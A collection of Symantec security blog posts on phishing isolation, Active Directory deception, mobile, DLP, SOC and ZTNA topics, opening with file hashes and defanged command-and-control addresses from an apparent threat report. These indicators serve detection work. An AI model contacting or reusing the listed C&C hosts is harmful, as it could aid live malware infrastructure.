2d39a58887026b99176eb16c1bba4f6971c985ac9acbd9e2747dd0620548aaf3
8cfb05cde6af3cf4e0cb025faa597c2641a4ab372268823a29baef37c6c45946
72fd2f51f36ba6c842fdc801464a49dce28bd851589c7401f64bbc4f1a468b1a
6cba6d8a1a73572a1a49372c9b7adfa471a3a1302dc71c4547685bcbb1eda432
Network indicators:
37.10.71[.]215 – C&C server
api-cdn[.]net
git-api[.]com
api-cdnw5[.]net
104-168-237-21.sslip[.]io
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Finally, a Way to Isolate Phishers from Your Valuable Data
Symantec has found a way to deploy isolation technology that essentially renders phishing email attacks harmless. Here’s how we did it
Try as they might, frustrated IT Security managers face a herculean task trying to stop employees from committing the preventable mistake of opening unknown email links.
They educate. They implore. They threaten.
And yet it goes in one ear and out the other.
Year after year, we read about security breaches caused when someone ignored security best practices and fell for another phishing scam. All it takes is one person in your organization to click on a booby-trapped link to put your data at risk.
Unfortunately, this has become an expensive learning experience.
Here’s more food for thought:
Malware attacks rose 36% in the last year
1 in 6 malicious emails contain malicious links
Spear phishing campaigns are up 55%
30% of users open phishing emails.
Conventional email security has a hard time handling suspicious links because attackers have become increasingly sophisticated about hiding their fingerprints.
But this story ends on an optimistic note. I want to share news about some new security technology that we’ve pioneered to keep your organizations protected, even if your employees sometimes wind up doing the wrong thing.
Over the last year, Symantec has built out a series of offerings around our Integrated Cyber Defense to provide better defense for endpoints, network, the cloud and yes, email. When it comes to the latter, our engineers have come up with two clever ways to tackle the phishing menace.
Firstly, we have integrated security awareness training into our email security solution. Security teams are now able to run simulated campaigns to assess the readiness of the organization to phishing attacks. These simulations closely resemble real-world attacks and can be easily customized. Security teams can now get a heat map of which users are susceptible to such attacks and can provide immediate training to harden their users from getting phished when they are actually targeted.
The second major innovation, which is an industry-first, is to use isolation technology to solve for advanced email threats, whether it involves ransomware or phishing links. Let’s take a closer look how it works in practice.
How it Works
You can deploy threat isolation either as a cloud-based service or as an on-premises solution.
Email Threat Isolation adds elevated levels of protection and isolation to the Symantec Email Security solution and solves three key use cases.
In the first use case, we isolate malicious URLs by overwriting links in emails to point to the Symantec Cloud. When an user clicks on the link, it is now rendered in our isolation portal so that any malware payloads like ransomware are now completely neutered and only inoculated web content is sent down to the browser.
The second use case focuses on preventing phishing scams that steal credentials or other sensitive data. Attackers have become very clever in ways they can craft emails to resemble an account lockout notification from legitimate services like Office 365.
Unsuspecting users get lured into submitting their actual credentials - all the while assuming they were responding to a critical alert. This is your typical John Podesta scam and it’s now happening on enterprise email. But Symantec email threat isolation is able to prevent these attacks by rendering suspicious websites (based on reputation) in a read-only mode so that the user is prevented from submitting the sensitive data.
The third case use is about preventing any weaponized attachments that users end up downloading from taking over the endpoints. This is achieved with the synergy with our newly released Symantec Endpoint Protection (SEP) Hardening solution. SEP Hardening firstly protects the email client itself from being exploited due to zero-day vulnerabilities. Secondly it monitors the email attachments and isolates any executables so that they are run in a “jail-like” environment which prevents the application from any bad behavior. Lastly it protects the document clients like Word, Excel, Acrobat Reader, etc. from weaponized documents that might be trying to exploit any vulnerabilities or trying to use scripts like macros or PowerShell from downloading and executing additional payloads.
In summary, Email Threat Isolation essentially defangs malicious links or attachments and leaves them harmless.
Why This Matters
This constitutes a major shift in the battle against phishing. For the first time, IT Security is not only able to better prepare their organizations by training them to not click or open suspicious emails but when that inevitably happens, they will be able to deploy a trusted backstop that can compensate for the mistakes employees make with email.
Think about what this means. From now on, if there’s an executable that someone triggers in a phishing email, we are going to put it into a jail. If it’s a content file with a weaponized document, we are going to completely isolate it. All the while, we can keep the user safe and secure.
The same goes for credential theft. If there’s a login page asking users for their credit card or social security numbers, isolation will automatically make those forms read-only, preventing users from revealing their valuable data to cyber criminals. At the same time, the system will generate an alert to the security admin, informing them of an attempt data theft.
This is a powerful statement about how new approaches to technology can help keep your organization safe. It’s also part of our integrated commitment to security at Symantec to create multi-channel protection across endpoints, web, and messaging apps.
If you found this information useful, you may also enjoy:
Click here to download the Email Threat Isolation Solution Brief
Attend this webinar to see a demo of Email Threat Isolation in action: Phish me not! Stop Sophisticated Phishing Attacks and Ransomware with Email Threat Isolation
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Finally, A way to Stop Advanced Persistent Threats (APTs) In Their Tracks
Symantec acquires innovative technology to protect Microsoft Active Directory from malicious use by attackers
Active Directory: The Root of Domain Compromise
Nine out of ten companies around the world use Microsoft Active Directory to control and maintain internal resources - servers, endpoints, applications, and users - and access.[1] By design, Active Directory (AD) is open to any domain connected user, meaning all identities and resources on a corporate network are visibly exposed, making AD the number one target for attackers.
It takes only one compromised endpoint connected to a corporate domain for an attacker to launch the latest APT campaign.
The recent acquisition of Javelin Networks advances Symantec’s endpoint security solution for addressing APTs with effective Active Directory defense from the endpoint to provide autonomous breach containment and incident response. This is the only solution that protects Active Directory from the endpoint; restricts post-exploit incursions by preventing credential theft and lateral movement. It immediately contains attackers after compromise of an endpoint, but before they can persist on the domain, disrupts reconnaissance activity, and prevents them from utilizing Active Directory to move laterally to other assets. Javelin Networks addresses the path of least resistance in today’s networks and greatly reduces the time, effort, and error involved in detecting, responding and containing a breach where it starts - the endpoint.
Why This Matters
Active Directory is the building block for every APT campaign
Attackers are not only aware of Active Directory’s value, but also its flaws. With careful examination of recent APT campaigns, we see what attackers have known for a long time: Active Directory is the most targeted asset in the organization.
How It Works
Defend Active Directory Against Attacks with Obfuscation
The Javelin Networks solution effectively controls the attacker’s perception of the Active Directory right at the endpoint. It uses Natural Language Processing to autonomously learn the organization’s Active Directory structure in its entirety and uses this data to create an authentic and unlimited obfuscation. All Active Directory queries from the endpoint are evaluated and obfuscated in runtime based on context. With obfuscation, a perspective of the domain-connected assets compromised is projected to the attacker; the attacker gives themselves away while interacting with assets or attempting use of domain admin credentials on Javelin Network’s perception. At this point, a high-fidelity alert is triggered, forensic data is collected and analyzed in real-time, and the attack is automatically blocked at the endpoint.
[1] An Overview of Active Directory, Philippe Beraud, Microsoft Corporation, 2016
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Financial Services Can Stop Mobile Attackers from Cashing In
You may think you’ve hardened your company’s security, but when it comes to mobile, odds are that’s a bad assumption. Here’s your 4-pronged defense plan.
If you’re a CIO, CSO or IT employee of a financial services company, your enterprise has a big target on its back — malware writers and other bad actors want your data badly.
Symantec’s Q2 Mobile Threat Intelligence Report: Mobility and Finance warns that 25% of employees of financial services firms have unpatched vulnerabilities in their mobile devices. And it found that more than 15 percent of the mobile devices of financial service employee have been exposed to a malicious network. In world where mobile devices are typically beyond the control of central IT and constantly under attack, what can you do to protect your company and its assets? The pros offer the following advice.
Roll up your Mobile Threat Data
Symantec Mobile Security Specialist Brian Duckering says the first step to compile “a comprehensive rollup of the organizational risks contributed by mobile devices.” Don’t leave out anything; gather the total number including low-level incidents, medium-level incidents and high-level incidents. Only by knowing what risks you’ve actually run can you combat them, he says. “There’s always going to be some risks,” he says. “But using the rollup, you can concentrate on eliminating high risks and minimizing the medium-level risks,” which are the most dangerous to organizations.”
Do this at least quarterly and closely monitor whether the risks are going up or down over time. If they’re going up, it’s likely time look at new security approaches.
Make Mobile Apps Self-Protecting
Financial institutions typically have multiple mobile apps, both for internal use and for customers. They all need to be self-protecting, constantly checking themselves to see if they’ve been attacked or have been infected.
The best way to do this is to embed a micro security SDK into all of a company’s mobile apps. Those apps use the SDK to constantly check in with a central security app that is automatically updated. That allows enterprises to update only a single security app which then makes sure all other mobile apps in the enterprise have the latest security controls.
Duckering also says that enterprises need to ensure their employees follow best practices for keeping their mobile devices safe. (Check out his blog post “25% of FinServ Employees' Mobile Devices Have Unpatched Vulnerabilities,” for more specifics.)
Make Knowledge Your Weapon
Varun Kohli, Senior Director, Strategic Marketing for Symantec, adds that a serious problem with financial enterprises is that so few of them have visibility into the state of their mobile vulnerabilities.
“I’ve spoken with about 300 companies in the last few years, and probably only a single one knew how many of their company’s mobile devices were attacked in the last 30 days,” he says. So, companies need to find out how many mobile devices currently have malware on them, how many have connected to a suspicious or malicious WiFi network, and how many are running out-of-date, vulnerable operating systems. Only by doing that, he says, can a financial services company craft the proper mobile security plan.
Protect Against Four Attack Vectors
Financial services companies need to protect against four attack vectors, he says. The first is physical —an employee leaving a device in an Uber car or some other public place, which is then taken by someone else. So, all devices of employees in a business — whether personal or company-owned — need to use a passcode and a biometric ID such as a fingerprint reader. And all need to be configured so that their data and apps can be remotely wiped.
The second attack vector, he says, is malware. Every device must have proper anti-malware installed on it, via MDM software. Similarly, employees shouldn’t be allowed to download apps from third-party app stores, a policy which can also be enforced via MDM.
The third vector, someone inadvertently connecting to a malicious network, is even more dangerous than malware, he says. Employees should be taught how to recognize malicious networks — and their devices should be configured with software that automatically opens a VPN when they do connect, as a fallback security measured.
The fourth vector is the corporate network itself. It should be configured to automatically block any risky device owned by employees, the company or attackers from getting onto it.
Kohli has a piece of advice beyond all this: IT needs to recognize it can’t control people’s use of mobile devices to the same extent it can desktop PCs, and act accordingly.
“With mobile devices, people want instant gratification,” he says. “They’re in line to get their lattes, and they have 17 seconds, and they want to use their mobile devices to check their email, Facebook and WhatsApp. You can’t get in the way of them doing that. If you do, they’ll just bypass security. So you need to devise security plans that are more cooperatively put together than imposed from the top down. And you need the right mobile security software to protect them from themselves.”
If you do all this, Duckering and Kohli say, you’ll go a long way towards protecting your company, its data and your customers.
If you found this information useful, you may also enjoy:
Better BYOD. It’s All About Behavior
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Finding DLP Incidents That Have Not Been Responded to in Time
Symantec DLP RESTful API can help Incident Response teams identify and act on ‘aging’ incidents
As an incident responder, you know that reacting slowly to incidents can result in worse breach outcomes. This is why many Incident Response teams commit to Service Level Agreements, or less formal Service Level Objectives, in order to track their response rate and ensure the correct prioritization of work. In turn, being able to track incident response activity helps customers assess the long-term success of their program and identify areas for improvement.
Symantec DLP, by Broadcom Software, offers multiple ways to help customers automate incident remediation. This helps incident responders triage incidents, perform additional remediation, and confirm resolution, all in order to satisfy the operational parameters dictated by the organization's risk appetite. For example, Symantec DLP helps customers perform automated remediation with end-user and escalated notifications, real-time blocking and prevention, and quarantining information on-premises or on the cloud.
In order to help customers better meet their SLA/SLO goals, Symantec continuously innovates and introduces new features that help streamline incident remediation processes. One such example is the use of the Symantec DLP RESTful API to help customers identify incidents that have breached an established SLA/SLO. The code is available here. Before we look at the detail, you should be aware that the RESTful API allows customers to improve the management of their DLP system in many other ways (you can find links to other articles at the end).
How to use the RESTful API to report on ‘aged’ incidents
The first step is to identify incidents that breach your established SLA/SLO. To do this, you will need to create an Incident Status that will indicate an incident has not been triaged as per the SLA/SLO. For the example in this article, we have created the SLA Breach status.
Once the Incident Status is created, find the identifier that Symantec DLP Enforce assigned to that status. Review that value under System > Incident Data > Attributes and hover over the Incident Status. In the example below, the value is 161.
Figure 1: Incident Status value
We are using the Incident’s creation date and the system status New to filter incidents that breached the SLA/SLO. In the example, you can modify the criteria to fit your organization’s needs. You can define the number of hours stipulated in your SLA/SLO to triage New incidents. In the segment of code from the example below, High Severity incidents have a 4-hour SLA/SLO, Medium Severity ones have an extended 8-hour SLA/SLO, and so on.
dlpEnforceSeverityHighHours= 4
dlpEnforceSeverityMediumHours= 8
dlpEnforceSeverityLowHours= 12
dlpEnforceSeverityInfoHours= 16
As you build out your code we recommend that you test it. A useful tip is to limit the number of incidents returned by the API, for example, you can use the code below to limit the report to 2 pages in length.
dlpEnforceIncidentPageSize = 2
Lastly, you can simply schedule this utility to run according to your needs, you can adapt the code and run it from an AWS Lambda Function, your own ITMS, SOAR (using, for instance, the Splunk Phantom Timer app - registration required), or any other platform that your SOC uses. The API will move the Incidents to a special SLA Breach queue for prioritized triaging.
Figure 2: Incidents marked with the SLA Breach Status
Prerequisites
DLPIncidentSLABreach.py is written in Python 3.8
Symantec DLP 15.8 MP1
A Symantec DLP user with API privileges
Python 3.8
Modules: json, requests, logging, datetime, timedelta
NOTE: The code is: a) an example and b) provided as-is: we do not know your computing environment so you need to assess the script’s function and performance before implementing it.
What else can the RESTfulAPI do?
The RESTful API provides a powerful capability to our customers, and we believe helps them take their DLP programs to a higher level, whatever their level of Information Security maturity. Our customers are the source of inspiration for the example we provide above, and REST assured, we will continue to develop the applications of this technology to help meet our customers’ needs. If you see different applications that would help you, please let your Broadcom account team or technology partner know.
For a more general understanding of the RESTful API, please read this technical guide.
For a different application of how the RESTful API can help, read our blog post listed below.
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Five Capabilities of a Next-Generation SOC
As attackers evolve, organizations need to rethink the tactics and strategies deployed in their Security Operations Center
Cyber attacks continue to worsen, growing in volume, pace, and sophistication. To stay ahead of these ever-changing threats, the Security Operations Center (SOC) needs to evolve in some important ways:
Threat visibility: Extend to include cloud and on-prem infrastructure
New/unknown attacks: Go beyond logs and rules to find emerging threats
Active defense strategy: Use threat intelligence to make decisions
Hunting and response: Plan, practice, and hunt for unknown threats
Cyber security teams: Extend your SecOps capabilities and human expertise
Cyber Defenses: Current Problems, Future Resolution
Why do today’s cyber attacks succeed? Attackers are constantly evolving, and most organizations are struggling in one or more of the following areas:
Cyber security talent—Industrywide, there just aren’t enough people with the required skillset. Despite efforts to retain qualified personnel, and recruit and train the next generation, this problem isn't going away.
Security infrastructure—Without suitable technology, team, and threat intelligence integration, organizations won’t be equipped to monitor threats, prevent attacks, or scale and evolve as threats grow and diversify.
Response time—The above conditions can open the door to successful attacks, which may then go undetected and/or receive a slow or tepid response. That’s when the real damage is done.
SOC Evolution Underway
SOCs are evolving all the time. They tend to start as people-driven and tech-enabled where SOC technology helps people understand what is happening so they can identify policy violations, threats, etc., and take appropriate actions. Nowadays, typical SOCs are more people-driven and tech-enhanced where technology greatly expands what people are able to do and makes them much more efficient.
The next-generation SOC is tech-driven and people-enhanced. That is, it relies more on automation and incorporates tools, like machine learning, that can flag unusual behaviors and identify things we've never seen before. People stay still critical to the process, adding essential business context and cyber defense expertise, making decisions, and providing a check on the technology.
Now, on to the specifics.
Extend Threat Visibility to the Cloud
Can you monitor and protect applications (including shadow IT) and workloads in the cloud—whether in your own data center or a hosted site—as well as across your virtual and on-premises environments? This ability is critical for identifying attacks that come from vectors beyond your traditional perimeter.
Detect the Unknown
Can you detect true zero-day exploits and emerging threats that have not been detected by your security technologies? In all the ‘noise,’ can you tell which activities or behaviors are suspicious and how to best prioritize your next steps?
SOCs need to take greater advantage of technologies like machine learning, which can detect anomalies, trends, and associations. An employee’s online activities that seem ordinary may be revealed as suspicious once they’re compared to baseline behaviors, or considered in sequence or as a group.
SOCs need to take greater advantage of technologies like machine learning, which can detect anomalies, trends, and associations.
Move from Passive to Active Defense
Can you apply countermeasures to deter and deceive an attacker?
The key to an active defense is internal and external intelligence collection, sharing, and analysis. This is what you’ll use to identify attacks; determine who is attacking and why; understand their techniques; and determine the appropriate response.
Deception technology is one of the best ways to bait attackers into showing themselves and revealing their intent and tactics. It can also delay an attacker’s reconnaissance efforts.
Prepare for a Rapid Response
Are you ready to respond to a breach? Can you hunt for attackers who may have slipped past your defenses?
It’s critical to review, test, identify gaps, and make sure everyone knows their part in your organization’s cross-functional incident response plan. Take all lessons learned from tabletop exercises and actual incidents and build those back into your plan.
Threat hunting is a key strategy for finding and rooting out threats burrowed in your network. You need to deeply inspect systems and data and use threat intelligence to hunt for signs of compromise. Then rapidly observe, contain, and eradicate the threat.
Scale Your Cyber Teams
Can your security teams keep up and the cyber threats grow? It’s a challenge for every security organization to reduce burnout and retain top talent, regardless of size.
Help your teams to do more by offloading and automating as much as you can, including threat monitoring and prioritization. Offer staff career paths and learning opportunities to hone their craft. Train all your employees as your first line of defense; this makes your organization much safer by reducing the attack surface for new threats to enter your network.
For a continued discussion of these challenges and solutions Symantec offers, watch this recorded webcast: 5 Capabilities of a Next-Generation SOC
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Five Things to Avoid When Choosing a ZTNA Solution
Innovations are essential to make ZTNA work
When searching for a ZTNA solution, what critical components shouldn’t be overlooked? Are there any missing elements that could mean the difference between sticking with your ineffective VPN or moving to a higher plane with ZTNA? Here are five things to avoid in choosing a ZTNA solution.
1. Too many agents
Can your ZTNA solution leverage the same agent used for endpoint security, web traffic inspection, cloud application control, and even DLP? An innovative ZTNA should minimize SASE management overhead and improve the experience for the user – simplifying things, not adding complexity.
2. Weak data governance support
You already have policies in place to protect sensitive data and adhere to complex data governance regulations. Traffic and files delivered over your ZTNA path require that same level of protection and should conform to your well-established DLP policies. These policies are universal to all data in your organization, regardless of access method, and your ZTNA solution shouldn’t need special treatment.
3. Indifferent threat inspection
While ZTNA creates a secure, direct path between the user and corporate applications, effective security still demands that all traffic and files be inspected for malware and sophisticated threats. The same threat inspection you apply to all other traffic and access methods should also apply to ZTNA. Multi-layered threat inspection for all ZTNA traffic is not an option; it’s a “must-have.”
4. Bad user experience
Users will not stand for performance degradation, frequent outages, multiple login processes, or different tools to get what they need to be productive. Users demand always-available service from cloud applications and expect the same for company-hosted or custom applications used only by their employers. ZTNA must remove barriers to application access, not put up roadblocks or curtail performance.
5. Remote deployment nightmares
Managing a VPN for the entire organization is challenging. They were initially designed to support the “few” road warriors needing access to the home network and applications. VPNs were not designed to support the entire workforce that may be required to work from home. They certainly were not built for the company’s extensive partner community or other third-party contractors. Enabling ZTNA from corporate devices that already have an agent installed on the endpoint is a must. However, providing secure, agentless access to any unmanaged device is also a requirement for a complete ZTNA solution, especially to support RDP, SSH, and other access methods. Agent or agentless, the right ZTNA solution can support any user from anywhere on any device.
While this isn’t an exhaustive list of what to look out for in a ZTNA solution, it might give you pause to focus on a few critical shortcomings a vendor could stick you with. For more questions to consider and a look at innovative solutions to real-world ZTNA use cases, check out Essential Innovations for Secure Private Application Access.
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Five Things You Should Be Doing to Protect Your Data
So much data now exists beyond the traditional defense perimeter that enterprises need to update their data protection plans – or risk the consequences
It’s a fast-changing digital world and security leaders can be certain of this much: Yesterday’s data protection strategy won’t suffice to meet tomorrow’s complex security demands.
Enterprises once could rely on network perimeters to defend the integrity of their confidential information. No longer. Data now lives and moves around a multiplicity of digital touch points, passing between the cloud, the Internet of Things and myriad mobile devices that may or may not be secure.
(Nico Popp, Symantec's SVP, Information Protection explains this trend and its implications on the enterprise in this video talk: https://embed.ustudio.com/embed/DTkChBHtXcx2/UPulVrTLDTBC)
The potential attack surface grows larger all the time. And with so much data now existing outside of what was the traditional defense perimeter, enterprises must plan to defend their information.
No easy task but you can pull together the components of an information-centric security plan by including the following 5 items in your checklist:
1. Prioritize information assets based on business risks
Organizations need to invest sufficient time in assessing what data is valuable to them and the business risk of a data breach. This should be the starting point of any security conversation. Businesses wind up with visibility into what data needs to be protected or its value to the business. For example, a business risk for a healthcare company might be regulatory exposure from the loss of PHI or patient health information by negligent hospital staff.
So, before anything else, identify the most important information assets and prioritize them within your overall data protection strategy, which should incorporate various controls and protective measures across the data lifecycle.
At the same time, security teams should work closely with business leaders – those who are closest to the information – to fully understand the business requirements and the impact they may have on day-to-day operations, employee behavior and corporate culture.
2. Develop data protection policies for the most important assets
Confidential information can be anywhere in the organization. The task of tracking it all down and developing policies to protect it can be overwhelming. Nearly every organization we work with finds they are most successful with a controlled, staged rollout with policies targeted at the highest-risk assets and the most vulnerable exposure points. So, go step by step. First, meet with business units to define data protection goals and policy requirements. We recommend ranking major information types (e.g., corporate financials, engineering plans, customer PII) and then re-ordering them based on priorities for monitoring high-traffic channels such as email, web, cloud apps and endpoints. Next, determine approximate timelines for deploying policies. Be realistic and build in adequate time for security teams to tune new policies and minimize false positives, and for business units to get comfortable with process changes.
Confidential information can be anywhere in the organization.
3. Deploy technologies that enforce policies and change end user behavior
No surprises here: An organization’s biggest security vulnerability is often its employees. Unfortunately, bad habits linger and many employees continue to flout best practices by reusing weak passwords, clicking on malicious links, and indiscriminately sharing files.
But the right combination of technologies can do more than enforce policies to comply with regulatory and legal obligations; it can also change end user behavior to drive down business risk.
Go beyond baseline network and application security such as firewalls and intrusion detection systems, and implement differentiated protection for information assets with data-centric security: multi-factor authentication, data loss prevention, cloud access security, encryption, and digital rights management.
4. Integrate data protection practices into business processes
It’s virtually impossible for data security technologies to be effectively or efficiently deployed in isolation. For your data protection strategy to be successful, it is essential to consider which business processes are critical to governing the use of information assets – such as product development, risk and compliance, and legal. The nuts and bolts involved in data protection at the information governance level is even more essential in advance of new compliance requirements around data management, storage and security that take effect next May with the arrival of GDPR. Organizations need to align data protection process with their unique business processes and regulations.
5. Educate business stakeholders to create a culture of security
A successful data protection strategy requires more than just technology and processes. Security must be a shared interest and employees need to become invested in protecting the organization’s information assets.
Develop (or reinforce) a communication strategy that increases employees’ level of understanding of the kinds of data that are sensitive, their role in protecting it, and the impact that not protecting it can have on the business and their job.
The message to stakeholders and employees must be clear: protecting information is everyone’s responsibility. Failing to fulfill that responsibility could destroy the organization’s reputation.
What this means for your business
The challenge for organizations is to reduce the business risks associated with exposing information by targeting the right data, engaging the right people and employing the right technologies. Research firm International Data Corporation (IDC) released a whitepaper exploring the merits of an information-centric approach to protecting data throughout its lifecycle. Click here to download the paper and learn more.
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Five Top Common Security Mistakes You Can Avoid
As enterprises look to secure their infrastructures against attacks, many continue to fall prey to basic errors. Here’s how to sidestep potential pitfalls
Enterprises spend countless amounts of time and money on sophisticated cyber security techniques. But sometimes the biggest security mistakes they make are hiding in plain sight. If you’re looking to keep your company as safe as possible from cyber attacks, here are five common security mistakes to avoid.
Mistake No. 1: Playing Fast and Loose with Admin Accounts
Your enterprise likely has plenty of admin accounts, giving some employees unfettered control over vital hardware and services. And that spells danger, says Rob Clyde, managing partner at Clyde Consulting and the chair of the board of directors for the non-profit ISACA information security organization.
Clyde calls admin accounts “the soft underbelly of every organization.” He explains, “Admins have full privileges and often have access to the keys to the kingdom in the virtual and cloud environments. That means a hacker who gains access to an admin account can literally take down an entire enterprise. And yet attacks targeted at admins are commonly overlooked.”
He recommends that organizations dial back on their number of admin accounts and make sure only those who need them, get them. He also suggests adding granular security, so that each account only gets access to the resources they truly need to do their work.
Finally, according to Clyde, enterprise should consider requiring secondary approval for some tasks, such as deleting all virtual machines or containers. That way, even if hackers gain access to an admin account, they won’t be able to do as much damage, because other admins in the organization have to sign off on high-risk actions.
Mistake No. 2: Forgoing a Comprehensive Risk Management Framework
Companies often build a set of security systems and procedures, but don’t take into account how cyber risks affect the entire organization. So cyber security is seen as purely a technical issue that requires attention from only the IT department, rather than the entire enterprise. The result? Enterprises are less secure because not every group and individual may be aware of cyber dangers and be on guard against them. So says Chris Dimitriadis, the past chairman of the ISACA Board of Directors.
Dimitriadis says a comprehensive risk management framework needs to clearly outline how cyber risks translate into business risks, and how they can affect the company. The stakes are high as organizations may risk millions of dollars in reputational costs and lost customer trust. That way, the entire company, from the board of directors on down, will be aware of risks and be more likely to avoid them.
Mistake No. 3: Not Patching
You’ve probably heard this one more times than you heard as a kid being reminded to eat your spinach - No matter: Make sure to keep your systems patched and up to date. Clyde and Dimitriadis both underscore the importance of what ought to be a routine part of a company’s preventive security routine. Yet too many organizations still forget to incorporate this as standard practice. There are countless examples of unpatched vulnerabilities leading to successful cyber attacks, with damages literally adding up to hundreds of millions of dollars.
“The bad guys know what all the vulnerabilities are —its public information,” Clyde says. “The exploits are out there for all to see and use on the Internet. So you’ve got to be vigilant in keeping systems up to date.”
Mistake No. 4: Ignoring IoT Device Security
It’s easy for companies to forget that their IoT devices, such as sensors and surveillance cameras, are a very large and very tempting target for hackers and can be easily exploited. Clyde says companies need to treat them with the same kinds of security as they do servers and other IT-related systems. That means not just making sure they’re protected by things like firewalls, but also keeping them patched and changing their default passwords.
Even that might not be enough, he says. IoT manufacturers are notorious for ignoring security, and some devices are inherently insecure — they might have default passwords that can’t be changed, or the devices can’t be automatically updated. So companies should check every IoT device they own, and if they can’t be kept secure, “Throw the device away and replace it,” Clyde says. In addition, companies should make sure any new IoT device they buy can be adequately protected.
Mistake No. 5: Skimping on Training
The best protection against hackers and data breaches is a workforce educated in cyber security dangers. But while this is the organization’s first line of defense, the vast majority of companies haven’t instilled a solid cyber security culture. Clyde points to a 2018 study by ISACA in which 95 percent of security professionals surveyed said there’s a gap between the security culture their company wants — and the security culture they have.
The best way to instill a culture of cyber security awareness is through training. And training doesn’t mean one-and-done seminars that employees reluctantly attend, and then immediately forget about. It means active, ongoing work.
“Anti-phishing training is particularly important because of how frequently it’s the way companies are breached,” according to Clyde. “For training to be successful, you’ll need to send non-harmful, phishing emails to employees and then measure how they responded. How many actually fell for the bait and clicked? And then do more training, until people respond properly.”
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Flying the Flag for Security Practice at Symantec
CSOs need to unite their teams around a vision that motivates and inspires
Congratulations on earning the coveted role of CSO. You’ve no doubt worked hard to get here. And statistically, you’ll be a success if you survive in the role for more than two years!
If you feel anxious, I can relate. But take a deep breath. You’re going to get through this.
I’m glad you found yourself here on the Symantec blog. We are probably facing many of the same complex challenges, as even the world’s largest and most established cyber security company has its share of them. I feel there’s a lot of value in you and I starting a conversation.
Over the coming months, this blog will share with the broader security community the trials and triumphs of running a large cyber security program.
You’ve perhaps heard that CSO stands for Chief Scapegoat Officer. A CSO role without the right executive support, funding and available skills is a role you want to avoid at all costs. But when the right ingredients fall into place – as they have for me - it can be an enjoyable and stimulating role, worthy of any of the heart palpitations that come with the job.
Vision
For me, things started to fall into place once I gave time to articulating a vision for the security function at Symantec.
Having made several key hires early in my tenure, I realised I needed a vision that could motivate and inspire them. I wanted to avoid handing down a vision of my own conception.
So I pulled my leadership team out of the office for a day. We talked through the proud history of our organization, the values that led us to a career in cyber security, and why we chose Symantec to help us reach our goals. To our satisfaction, we found ourselves aligned on those values. The values most cited across the team were later published to our broader team.
We found it easy to articulate our strategy, because we were already living it day-to-day.
But articulating our vision took a little more discussion and imagination.
A vision statement is about where you intend to be if you meet your goals. It lifts everybody out of the ‘work in progress’ – if only momentarily. It removes all the things that keep us needlessly busy and focuses our collective energy and imagination on achieving something bigger.
The Standard Bearer
Here’s what we came up with.
The concept of a Standard Bearer is derived from military history. As opposing armies met in battle, there was great pride when someone’s peers chose them to carry the flag. Bearing the military standard was a great honor, one reserved for those brave enough to draw fire for the sake of a broader outcome. It was also the prize that your enemy would most desire to seize from your hands. Who doesn’t love to ‘capture a flag’?
In the modern context, the concept of a flag bearer has taken on a new and even more compelling meaning. Olympic teams select an individual to bear their flag during the opening and closing ceremonies. That flag-bearer isn’t necessarily their highest medal winner or most experienced athlete. They are chosen because everyone agrees that this individual represents the best characteristics of the team. They demonstrate behaviors others aspire to.
David Bradbury on GSO vision
My team – Symantec’s Global Security Office – is the internal security function of Symantec, covering both cyber and physical security. Our vision of being a Standard Bearer relates to security in practice. It’s about developing holistic programs that make the best use of our technologies and our human endeavor to protect the organization. When we talk about aspiring to be a ‘standard bearer, our aim is to earn the respect of our fellow practitioners – to use what we learn to create value for people like you.
Today I often hear my teams describe their work in the context of being a Standard Bearer. Every program is planned not only to meet the expected standard of today but also for what might break new ground in the future. I’m very proud of the transformational work underway in these programs and look forward to sharing more stories and insights with you in this blog.
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For Innovation Look Back
Innovators@Symantec series
Liam O’Murchu is a Director in the Security Response group
Can you share a little of your background.
I come from a reverse engineering background. I looked at incidents, analyzed a lot of threats including Stuxnet - the first cyber weapon. And I was analyzing APTs; all the really sort of crazy APTs that came out about 10 years ago when everything was starting out fresh and new and we weren't tracking 200 of them like we are now.
I've got all that experience and am now applying that to a product environment where we can take my esoteric knowledge, match that with a product, and then make it easy for a customer to point and click, use the information that we have, to protect themselves.
What trends have you seen among customers in that time?
Security jobs have evolved over the last 10, 15 years. The SOC has become a core part of not just the response, but also the day-to-day job of protecting the environment.
Our largest customers are now very knowledgeable about security, and the mitigations or protections that they want to put in place. We can have a conversation at a high technical level where they completely understand the security problem. They're able to describe precisely what it is that they're dealing with. What’s interesting is that there is often a solution that we have available in a product they own. They're just not aware of it.
Do you have a good example of that, when a customer sees a feature they didn’t know about and has a "wow" moment?
TDAD. Threat Defense for AD. We do a lot of analysis of the attack chain. As we look through that attack chain, we're always looking for common points that come up in every attack chain. The common point that comes up in every attack chain is that they need to get credentials in order to spread laterally. They need to move through the network.
TDAD sits at the perfect spot to be able to cut that off. It is very difficult for an attacker to understand what are real credentials and what are fake credentials. TDAD shows the attacker fake credentials. Then as soon as the attacker uses a fake credential, alarm bells go off. It's very powerful because then it doesn't matter if they change the payload or they come up with a new attack technique, they still need to get those credentials. They still need to move laterally. And you've got a perfect choke point to stop them.
What is the innovation at Symantec that you are most proud of?
It’s Adaptive Protection right now. One way to view Adaptive Protection is as a look back system, where customers can look back at the activity that has occurred on their machines for the last year and use that to guide decisions for increased prevention. The innovation here is that we tell you what techniques attackers are doing right now, and you have a one-year history see if you do similar things in your organization. If you have not in the last year taken an activity that attackers currently are taking, you just block that. You don't need to do a full lockdown, you don’t need to risk false positives, but you can cut off a path that attackers are currently using.
Sure, you can do this manually. But it's very difficult to configure those things. It's very painful for customers and a lot of work. The system that we've come up with is point and click. We do all the work for you. The innovative part for me is that customers can take action straight away. You don't need to do months and months of analysis. We present the data to you in a visual way and you can very quickly reduce your attack surface, related to what attacker's doing right now.
What does being an Innovator mean to you?
Anyone can solve a customer’s problem that is clearly visible. What I find more interesting, truly innovative, is something where the customer doesn't even really see that there could be a better way of working. That's the spirit for true innovation, where you recognize there's a different way of doing things that is revolutionary in some way that other people don't see. That's kind of the breakthrough that we’re looking for.
We are going to innovate, but we're not just going to throw random ideas against the wall and see what sticks. We're going to go talk to customers. We're going to survey their security needs. We're going to see how we can change things for the better.
At Symantec we're not going to be doing tons of different projects, we're going to focus on a small number of innovations, rally the team around those innovations and get those projects across the finish line quickly and successfully. That's been really refreshing about the transition to Broadcom. Once you get buy-in on an idea, you get the support, you get the resources, and you have a clear timeline. You know exactly how you need to execute. That focus around executing quickly on innovation is very exciting.
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Forkmeiamfamous: Seaduke, latest weapon in the Duke armory
Low-profile information-stealing Trojan appears to be reserved for attacks against a small number of high-value targets.
